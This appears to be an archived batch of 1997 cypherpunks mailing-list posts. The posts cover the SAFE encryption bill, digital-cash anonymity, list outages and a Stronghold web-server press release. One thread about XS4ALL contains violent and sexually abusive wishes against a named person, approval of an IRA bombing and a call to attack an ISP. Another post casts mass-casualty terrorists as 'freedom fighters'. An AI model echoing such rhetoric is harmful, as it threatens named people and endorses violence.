Tag-O-Matic: OS/2: The choice of the next generation.

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Sun, 4 May 1997 10:35:59 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:  Admin request: /^subject:\s*help\b/i (fwd)
Message-ID: <199705040227.VAA22500@manifold.algebra.com>
MIME-Version: 1.0
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----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sat May  3 20:52:56 1997
Date: Sat, 3 May 1997 20:52:56 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705040152.UAA22185@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:  Admin request: /^subject:\s*help\b/i    

>From cpunks@manifold.algebra.com  Sat May  3 20:52:48 1997
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From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 03 May 97 15:28:09 -0500
To: cypherpunks@cyberpass.net
Subject: Help!!
X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.27c b9 

-----BEGIN PGP SIGNED MESSAGE-----

Do to some problems with my ISP I have lost several days worth of mail. :(

Would someone be kind enough to zip up the cypherpunks posts from thursday
to today and send them to me.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2uuPo9Co1n+aLhhAQHNMgP/bqjyLYYW9E5ZNU7mvXgt87IBwONabZUG
3UtHOkdn+y0ONDQED8HGRq8Z/1ns8yU9LfR4Y+FHvGp//3CmWwwce0MDTp3O0Mg1
QF0yX8h4qS8HpZUxn2FNnrhn2dj+dBKqZLm8ADLuOrV5lbNLeFuMFbTRGts/QEAD
BDJen5/U8ZI=
=bDrX
-----END PGP SIGNATURE-----
 
Tag-O-Matic: I smashed a Window and saw... OS/2.

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 4 May 1997 10:58:02 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705040016.TAA04707@smoke.suba.com>
Message-ID: <PDq66D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > --Tim May, still a felon, and still using encryption to further
> > prosecutable offenses. Fuck Congress.
> >
> 	Sorry, I don't like sloppy seconds...

"Seconds?"  Learn to count, 'punk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 4 May 1997 11:30:26 +0800
To: cypherpunks@toad.com
Subject: cyberpass.net down?
Message-ID: <199705040309.WAA14342@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Is cyberpass.net down? I have posted several messages but have not received
any of them.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If Windows sucked it would be good for something.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2wNNY9Co1n+aLhhAQELwwQAkpj04nDm0nldgAHpFdfSa4aMa4XqNMWP
DDblV3g3QRF/e2+FXk43xl2R611zNIQGchzEiMipPal7NKw1O/RZBlS/QtU7iBeG
ScPYxEnom/Nq9xqdlCS0bhP2A6soikaK/SRAdX96w6iUtELbHWSN5GSSAD3LkN5B
0GEFhWgAF1M=
=mviw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 4 May 1997 10:34:43 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: TWO Letters on SAFE
In-Reply-To: <Pine.GSO.3.95.970502084700.12526B-100000@well.com>
Message-ID: <v03007807af91a0b82383@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Sorry, Shabbir, that doesn't cut it. You said I did my research "poorly,"
when in fact I was correct to say CDT asked the subcommittee to approve the
SAFE bill unchanged. Perhaps you should take your own advice next time and
do a bit of factchecking.

And I'm not "attacking" CDT. I'm not calling them "traitors to the
republic," as some others have. I simply posted this:

 >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
 >>letter to the House subcommittee on April 29 urging that SAFE be approved
 >>without any changes? (I'm in Oklahoma right now and I have a copy of that
 >>letter in my office in DC, but that's what I remember.)

If that's an "attack," I'm Dorothy Denning.

I'm surprised, and disappointed, that you're so thin-skinned -- and so
eager to savage those who share your objectives: no export controls and no
domestic laws relating to encryption.

-Declan

****************

At 12:02 PM -0400 5/2/97, Shabbir J. Safdar wrote:
>Actually, I think you do.  There aren't any other groups out there who sent
>letters urging the entire subcommittee to start hacking on the bill at the
>subcommittee level.  Even the IPC letter to Goodlatte said to address the
>issue at the full committee level.
>
>That seems to be the strategy everyone is pursuing, so if you're going to
>attack CDT for it, you had better include VTW, the ACLU, EPIC, EFF, et al.
>
>-S
>
>At 8:51 AM -0700 5/2/97, Declan McCullagh wrote:
>>Thanks, Marc, for posting the URL for CDT's letter urging the House
>>subcommittee to approve SAFE without amendment. I was quoting from memory.
>>
>>No, Shabbir, I don't think I owe anyone a "big fucking apology."
>>
>>-Declan
>>
>>
>>On Fri, 2 May 1997, Marc Rotenberg wrote:
>>
>>>
>>>
>>> Shabbir is a very good organizer and often very busy, which
>>> may explain the confusion about the TWO letters that were
>>> sent out regarding SAFE.
>>>
>>> CDT sent a letter to Hon. Howard Conable, the chair of the
>>> Subcommittee, on April 24 which said that "CDT strongly urges
>>> you to report H.R. 695, the SAFE Act, out of the Courts
>>> and Intellectual Property Subcommittee without amendment."
>>> [The CDT letter is at
>>> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>>>
>>> EPIC helped coordinate a different letter for the Internet
>>> Privacy Coalition, which went to Rep. Goodlatte on April
>>> 28 and said
>>>
>>>      While expressing our support for the measure, we wish
>>>      also to state our concern about one provision contained
>>>      in the bill. We believe that this provision, which would
>>>      create new criminal penalties for the use of encryption in
>>>      furtherance of a crime, could undermine the otherwise laudable
>>>      goals of the legislation. For the reasons set forth below, we
>>>      recommend that this provision be reconsidered when the Committee
>>>      considers the bill.
>>>
>>> The IPC letter was signed by 26 privacy groups, user organizations,
>>> private companies, and trade associations. [The IPC letter is
>>> at http://www.privacy.org/ipc/safe_letter.html ]
>>>
>>>
>>> Marc Rotenberg
>>> EPIC.
>>>
>>>
>>>
>>>
>>> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>>> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>>> >>Two quick points:
>>> >>
>>> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>>> >>letter to the House subcommittee on April 29 urging that SAFE be approved
>>> >>without any changes? (I'm in Oklahoma right now and I have a copy of that
>>> >>letter in my office in DC, but that's what I remember.)
>>> >
>>> >Declan, I can't believe you did your research so poorly.  Go look at the
>>> >Internet Privacy Coalition letter at
>>> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>>> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>>> >there.
>>> >
>>> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>>> >Eagle Forum, VTW, and PGP all signed.
>>> >
>>> >Since you've been laboring under this mistaken impression, you owe
>>>somebody
>>> >at CDT a big fucking apology.
>>> >
>>> >-S
>>> >
>>> >>
>>> >>
>>> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>>> >>
>>> >>> The Administration hates this bill, because it threatens their
>>>ability to
>>> >>> roll out Key Recovery.  They've said as much in the letter Declan
>>> >>>forwarded:
>>> >>>
>>> >>>    "The bill could be read as prohibiting the United States government
>>> >>>     from using appropriate incentives to support a key management
>>> >>>     infrastructure and KEY RECOVERY." [emphasis added]
>>> >>>
>>> >>> Do you think that if this bill helped the Administration, that
>>>they'd be
>>> >>> out there urging the subcommittee chairman to stop it?  I think not.
>>> >>>
>>> >>> I'm also puzzled by the fact that CDT is being criticized pretty much
>>> >>> solely, even though the entire Internet Privacy Coalition, and several
>>> >>> other groups all wrote a letter of support of the bill with only a
>>> >>> criticism of one provision.  However the overall statement was of
>>>support.
>>> >>> (see http://www.privacy.org/ipc/safe_letter.html)
>>> >>>
>>> >>> As far as I can tell, everyone criticizing the bill either thinks that:
>>> >>>
>>> >>> 	a) CDT actually runs all these groups behind the scenes, or
>>> >>> 	b) pretty much all of the Internet advocates believe that
>>>this bill
>>> >>>            is needed and are doing the best they can with what
>>>Congress has
>>> >>>            written.
>>> >>>
>>> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans
>>>for Tax
>>> >>> Reform, the Association for Computing Machinery, Computer
>>>Professionals for
>>> >>> Social Responsiblity, Eagle Forum, the National Association for
>>>Criminal
>>> >>> Defense Lawyers, and PGP Inc all signed this letter.
>>> >>>
>>> >>> Can you consider, perhaps, for a second, that critics of SAFE are being
>>> >>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>>> >>> Administration.  Is that the kind of company that cypherpunks keep?
>>> >>>
>>> >>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>> >>>
>>> >>>   The pending bill provides a positive framework for the reforms
>>>that are
>>> >>>   long overdue in this critical area. It makes clear that the sale
>>>or use
>>> >>> of
>>> >>>   encryption, a vital technique to promote network security and
>>>individual
>>> >>>   privacy, should not be restricted in the United States. This is
>>>the view
>>> >>>   widely shared by users of the Internet and the computer and
>>> >>>communications
>>> >>>   industry. It was also a central recommendation of the
>>> >>>   report of the National Research Council last year.
>>> >>>
>>> >>> Looks like widespread support from people who study this issue for
>>>living.
>>> >>> I'm glad to be counted among them.
>>> >>>
>>> >>> -S
>>> >>>
>>> >>> -Shabbir
>>> >>>
>>> >>>
>>>
>>>
>>>
>>>
>>>



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 4 May 1997 14:14:48 +0800
To: Ernest Hua <declan@vorlon.mit.edu>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
Message-ID: <v03007801af91e1128b39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



[I've been away from my computer, else I would've responded to Ernest's
post earlier.]


At 11:10 AM -0800 5/2/97, Ernest Hua wrote:

>In short, they can get what they want instantly, while we cannot
>except through a long and arduous process (during which they can throw
>many procedural and lobbying obstacles to slow us down).  The process
>is clearly in THEIR favor (and not without good reason), and we must
>face that fact.

Yes, and they keep throwing out new proposals (Clipper I, II, and III, Key
Recovery Initiative, Trusted Third Parties, blah blah). Not to mention
Digital Telephony, iterations of the copyright law, and ambiguous
legislation about terrorism and assistance to terrorists. They can generate
laws far faster than we can mount political counter-efforts, especially
since the lobbying agencies (FBI, NSA, Commerce, FCC, FDA, SEC, etc.) are
using _our_ stolen money to pay for these lobbying efforts.

It's hopeless to fight them on their own turf, as they hold most of the
cards (and we paid for them).


>It takes just one Om Shinri Kyo (sp?) in any nation to convince its
>leaders to pass knee-jerk panic legislation in the name of security,
>and it's the fault of politics at the beck and call of human nature
>(not just stupid politicians).

And this will happen regardless of whether SAFE passes or not. As several
of us have pointed out, SAFE contains prominently mentioned provisions for
the stoppage of crypto exports (and maybe even domestic distribution)
should terrorism or military diversions be linked. (Stuff about the EEPA,
for example.)

When a nut shot up a schoolyard, we lost our basic right to buy basic
firearms. (The same thing happened in Australia and Britain, too. Almost as
if there's a script being followed. "Save the children" is the passphrase
for removing liberties.)

When it was _suspected_ that a bomb took the TWA flight down, look what
happened to the liberties of travellers in public places.

As Ernest notes, all it will take is one _major_ terrorist incident for
many of the remaining liberties to vanish in a period of a few weeks. Had
the World Trade Center bombs succeeded (in bringing down one of the
towers), this would have done it. When freedom fighters ultimately succeed
in, say, killing 5000 Londoners in a Sarin or Ricin attack in the Tube,
expect dramatic moves in all Western nations to sharply curtail civil
liberties.

There is no hope that legal measures can maintain liberty. Only
technological bypasses of the State can succeed.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 4 May 1997 12:32:13 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705032048.NAA22766@joseph.cs.berkeley.edu>
Message-ID: <v0302091caf91b14570c2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Someone, whose reputation is bigger than God, in the hope of sparing me
public humiliation from the error of my ways (the very paradigm of a lost
cause :-)), wrote to me offline on this topic. I'm posting it here, because
frequently people reply to me with stuff which is extremely relevant to the
argument at hand, and which should be heard in public.

The main consideration I use is that none of the information in the reply
can be used to identify the person who sent it, or mess up whatever plans
they're laying, something you can clearly see in the following...


At 4:48 pm -0400 on 5/3/97, somebody wrote:
you write:
> > I further claim that the most efficient digital bearer certificate is an
> > anonymous one.
>
> Hal's point is this. There are two types of "anonymity": one where
> the bank says "I swear I won't keep any records based on the name
> you gave me" (the benign bank), and the other where we use Chaumian
> blinding so the bank never even sees the identity information (the
> untrusted bank).

Right. Let's call the first one the Microsoft model, because I feel
especially vicious this evening, and the second one the "Real" Chaum model.

> Now, it seems to me that the "benign bank" sort of anonymity can't
> cost any more (and in fact will even cost less) than the "untrusted
> bank" Chaumian anonymity.

Not true. With Chaumian anonymity, all the underwriter does is keep a
database of spent digital bearer certificates, which they keep down by
expiring certificate issues and the keys which generate them periodically.
When someone double-spends a certificate, the underwriter has enough
information to reveal their public key, but only when someone double spends
and not before.

With the Microsoft model, the underwriter knows who's buying your
certificates, *and* the shared secret which makes the cash valid, *and*
what time the certificate was issued, *and* what your shoe sizes, and the
name of your sister's first date, and, and, and,...

Anyway, I claim that the very Chaumian inability to *ever* know who bought
the certificates you underwrite keeps you from ever *trying* to keep track
of any other data, which, of course, is inherently cheaper.

> Yet your arguments for anonymity apply
> equally to both situations.

No they don't. There's a qualitative difference between a system where you
can't ever know who some one is, but you can still trust them, and a system
where you always know who someone is and they have to trust *you*. :-). I
say that one of the additional virtues of the former system is
significantly reduced transaction costs, and finally, that that happy side
effect will eventually result in a shift away from the latter kind of
system, if it ever is useful to begin with.

By the way, an additional cost of the system, which is obviously more in
line with the privacy concerns of cypherpunks, and possibly less germaine
to the transaction cost issue we're discussing, is the cost of the risk of
breaking the confidentiality of systems like the Microsoft idea. I have a
hunch that all it takes is one big information leak, and such systems will
be dropped as a form of digital cash underwriting, but I'm going pretty far
out on a limb to make that particular assertion. Should we call this the
"Clipper effect", just to rattle peoples' chains?

> Therefore, I say your arguments, taken
> to their logical conclusion, imply that we'll end up with "benign
> bank" anonymity, rather than Chaumian "untrusted bank" anonymity.

Again, I don't think so. However, what we really need is some actual
estimates and analysis to prove it, barring the existence of any actual
transaction cost data, of course. :-). Something I'm not qualified to do,
though I bet there are people here who can get those answers.

> But "benign bank" anonymity is a very very weak form of anonymity
> indeed -- it's not what most cypherpunks (or cryptographers) mean
> when they talk about anonymous digital cash.

Amen. Only people mired in the book-entry way of looking at things think
otherwise. I believe the economics of the marketplace will soon teach them
the serious errors of their ways...

> "Benign bank" anonymity
> is the sort of thing that Cybercash or other traditional systems
> provide; "untrusted bank" security is what Digicash provides.

And, again, I assert that the paradox of all this is that the cheapest form
of commerce is a form where you don't trust anyone, or, better, trust, but
verify, everyone. That's the beauty of the blind signature algorithm, it
allows you to do all that, and not keep books, which cost money.

> So, if I understand your argument correctly, you're saying that
> we'll inevitably end up with some weak form of anonymity, but it
> will be far weaker than what most cypherpunks want.

I hope you can see by now, after I've taken another shot at explaining it
better, what I was getting at.

> That sounds more like a cause for a call to arms than a reason to
> sit around reassuring ourselves that everything will turn out fine
> without us!

Nah. I don't do calls to arms. It's much better to change the world by
making money. An especially important focus to have when you're building
transaction systems. :-).


I strongly beleive that you can easily knock three, maybe four, decimal
places off the cost of any transaction you can care to mention just by
using strong financial cryptography and anonymous digital bearer
certificates on a ubiquitous geodesic network.

That remains to be seen, however. I will say that I'm working as hard as
someone with my limited skillset can to prove that hypothesis. :-).


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Sun, 4 May 1997 15:52:01 +0800
To: cypherpunks@algebra.com
Subject: Ready for PrimeTime: FUD! The Newsletter of Fear Uncertainty and Doubt
Message-ID: <3.0.32.19970504003115.006c49b0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



See this new exciting venture.
Cards and Letters Welcome; use "FUD" in the subject header.

www.best.com/~geeman








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 4 May 1997 19:10:31 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
Message-ID: <19970504025133.49990@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 03, 1997 at 11:01:23PM -0800, Tim May wrote:
[...]
> 
> When a nut shot up a schoolyard, we lost our basic right to buy basic
> firearms. (The same thing happened in Australia and Britain, too. Almost as
> if there's a script being followed. "Save the children" is the passphrase
> for removing liberties.)
>
> When it was _suspected_ that a bomb took the TWA flight down, look what
> happened to the liberties of travellers in public places.
> 
> As Ernest notes, all it will take is one _major_ terrorist incident for
> many of the remaining liberties to vanish in a period of a few weeks. Had
> the World Trade Center bombs succeeded (in bringing down one of the
> towers), this would have done it. When freedom fighters ultimately succeed
> in, say, killing 5000 Londoners in a Sarin or Ricin attack in the Tube,
> expect dramatic moves in all Western nations to sharply curtail civil
> liberties.

I think rather it is an inevitable consequence of population density
and technological advancement.  Technological advancement creates the
facilities that a deranged individual can use to cause large amounts
of damage in a very short time.  Society doesn't yet have a 
successful response to this problem.

> There is no hope that legal measures can maintain liberty. Only
> technological bypasses of the State can succeed.

This is a persistent misstatement on your part.  You constantly label
your enemy as the "state", but really it is society as a whole. 
Government, military, industry, small business, the educational
system, the "masses" -- it is all a parcel, and it is very difficult
(if not meaningless) to try to single out the "state" as an 
independent actor in this parcel.

In any case, even "technological bypasses" will almost certainly 
fail.  Then what?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kibo <kibo@thecia.net>
Date: Sun, 4 May 1997 19:02:23 +0800
To: freedom-knights@jetcafe.org
Subject: soft drugs? Artikel about XS4ALL in New York
In-Reply-To: <quP56D21w165w@bwalk.dm.com>
Message-ID: <Pine.BSI.3.96.970504063605.2502A-100000@shell.thecia.net>
MIME-Version: 1.0
Content-Type: text/plain


see, the whole problem here is the same as usual.
people mixing up pot with "other" allegedly "soft drugs."
Pot must never be mixed up with anything.

On Sat, 3 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Sat, 03 May 97 08:57:37 EDT
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com
> Subject: Re: Artikel about XS4ALL in New York
> 
> [cc'd to freedom-knights, who don't appreciate censorship of mj web pages]
> 
> Paul Bradley <paul@fatmans.demon.co.uk> writes:
> 
> > > anarchists, bent on disrupting society," Rodriquez told the Dutch daily
> > > Trouw. "But now they have come to see that we are nice and quiet people
> > > really."
> >
> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.
> 
> Yes, let's fuck Chris Lewis to death with a 27" dildo!!!1!!1!
> 

an Excellent Idea!

> > > The company was instrumental in the creation of the Amsterdam Digital
> > > The hotline is run by Internet users and providers. Unlike Britain's
> > > Internet Watch Foundation, the Dutch hotline doesn't censor any
> > > information nor does it ask the provider to do so. Hotline operators
> > > contact the author of the information and ask him to remove the
> > > offending content.  "If the author does not comply, we report him to
> > > the police, and he'll be prosecuted," said Rodriquez, who also is
> > > chairman of the Dutch Providers Association.
> 
> Both asking the author to remove contents, and contacting the police
> are dishonorable acts. Even if the US, honorable providers tell the
> complainers: if it's something illegal, call the cops and leave us
> out of it.
> 

See, you can not trust any of those fucking foreigh Countries.
Even Holland, which is supposed to be the home for pot, arrests
people for "offending content."

It has become apparent that the First Amendment which guarantees
Freedom Of Speech, must be applied world-wide, in order to protect
de-facto Universal Freedoms, which all come from Common Law.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.
> Is this Blair guy any saner than the tory bastards?
> 
> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.
> 

I like the idea of attacking and eliminating their POP altogether.
He who interferes with Freedom Of Speech deserves to have their POP
eliminated.

> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >

soft drugs?  "drugs" is a bad word.  pot is not a "drug" by the common
connotation in society.  pot is a medicine and an herb.

> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".
> 
> > > The company's commitment to support free expression and democratization
> > > of the Internet doesn't stop here.
> >
> > As far as I can see it hasn`t even started yet.
> >
> > > Last fall when the Serbian
> > > government censored radio station B-92, XS4ALL helped design an
> > > Internet campaign and started to carry news broadcasts (in RealAudio
> > > format) that kept the rare opposition voice alive and the international
> > > public informed through independent accounts of the events occurring
> > > during the mass demonstrations in Belgrade.
> >
> > I presume B-92 fell into line and matched the "requirements under law for
> > obtaining a free-speech permit" before XS4ALL allowed this/
> 
> It's because Germans will gladly do anything to fuck over the Serbs.
> I bet XS4All wouldn't host a web page for Karajic.
> 
> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?
> 
> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.
> 

Yes, I read about that.  I sure hope it is possible.

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

"Freedom Of Speech" must become the Universal World Standard for the 
InterNet.  We have a long way to go.

medpot(tm)foundation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 4 May 1997 20:58:38 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705041243.IAA10748@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Quoting: http://www.msnbc.com/onair/nbc/mtp/default.asp

Tune in to Meet the Press with Tim Russert on Sunday... check local listings for details. 

Sunday: Meet the Press will look at
    crime, terrorism, national security, and
    foreign campaign contributions.
    Moderator Tim Russert will speak with
    FBI Director Louis Freeh. This week's
    panelist will be NBC's Pete Williams,
    and the roundtable guest will be
    Elizabeth Drew, author of Whatever it
    Takes. 

Meet the Press transcripts are usually
  available three hours after the show airs.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Mon, 5 May 1997 00:57:12 +0800
To: cypherpunks@cyberpass.net
Subject: Full Strength Stronghold 2.0 Released Worldwide
Message-ID: <199705041637.JAA10872@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


For Release May 5, 1997
C2Net Software: Douglas Barnes +1 510 986 8770
UK Web: Dave Williams +44 113 222 0046 

	   Full-Strength Stronghold 2.0 Released Worldwide
     C2Net President Sameer Parekh Rejects Weak Keys, Back Doors

Oakland, CA - C2Net Software, Inc. annouced today the worldwide
availability of Stronghold 2.0, a major upgrade to their secure web
server based on Apache. With this release, Stronghold has added more
functionality than ever, including uncompromised security, web-based
configuration, and new protocol support.

"The Stronghold web server -- like all C2Net products -- supports
full-sized keys, and will never support government back doors," said
C2Net president Sameer Parekh. "We have development teams around the
globe working on our products, free from US export control
policy. Even if some of these countries cave in to US demands, we'll
still be able to produce first-rate, uncompromised security products."

Others Use Compromised Security

In a recent announcement, Netscape Communications announced plans to
include government back doors in their products. "By implementing this
so-called 'key recovery', Netscape is getting a small increase in key
length in exchange for putting your keys in the hands of the
government," said Parekh. "This the same government that hired Aldrich
Ames, the same goverment that has IRS employees surfing taxpayer
databases at will. What do you think is going to happen to your keys?"

According to cryptography expert Bruce Schneier, "There is absolutely
no business case for key recovery. Any benefit you get from longer key
lengths is offset by the enormous security risk of concentrating keys
in a few hands."

Current "export" versions of Netscape and Microsoft web servers use a
weak 40-bit cipher that can be broken in hours by any bored systems
administrator or college student with access to a few hundred idle
machines. By comparison, all C2Net software can use at least 128-bit
keys.

To understand this difference, imagine that the hundreds of computers
needed to crack a 40 bit key in a few hours were compressed into a
cube an inch on a side, and you built a computer the size of the Earth
out of these cubes, it would still take this computer more than four
times as long to crack a 128 bit key. It's easy to find a few hundred
computers idle at any medium-sized business or university; Earth-sized
computers are still relatively uncommon.

Stronghold Gaining Market Share

In several recent surveys, Stronghold has emerged as a leading
contender in the web server market. An O'Reilly and
Associates/Netcraft survey of secure web servers in use on the
Internet found that Stronghold was second only to Netscape. The
monthly Netcraft survey of all web servers on the Internet has
indicated for some time that Stronghold is also the second most
popular commercial web server for the Unix platform.

"We've been steadily gaining market share," indicated Parekh, "and to
a great extent it's due to our firm stand that we won't sell
deliberately weakened security products to our customers."

Features in Stronghold 2.0

"We've redesigned the security interfaces and built on the new Apache
1.2 code base," commented Mark Cox, Stronghold product manager at UK
Web. "Stronghold has had many productivity and performance
enhancements and it is now fully compliant with the new HTTP/1.1
standard." The HTTP/1.1 standard is a significant update to HTTP/1.0,
the protocol that governs how web browsers and web servers
communicate.

HTTP/1.1 brings many new features to the table, including improved
content and language negotiation, improved persistent connections, and
better recovery from interrupted transfers. (For more information on
HTTP/1.1, see http://www.apacheweek.com/features/http11)

Stronghold 2.0 also includes a web-based configuration manager,
allowing web administrators to securely administer their sites from
the web browser of their choice. "We've had a lot of requests for this
feature as Stronghold has grown in popularity," said Douglas Barnes,
C2Net Vice President.

On the security front, the new release includes support for Secure
Sockets Layer (SSL) version 3, which provides stronger security and
more flexibility in choosing ciphers.

Background

UK Web Limited is a leading Internet services company specialising in
server technology, Internet security, business solutions and effective
site design.

C2Net is the leading worldwide provider of uncompromised network
security software.

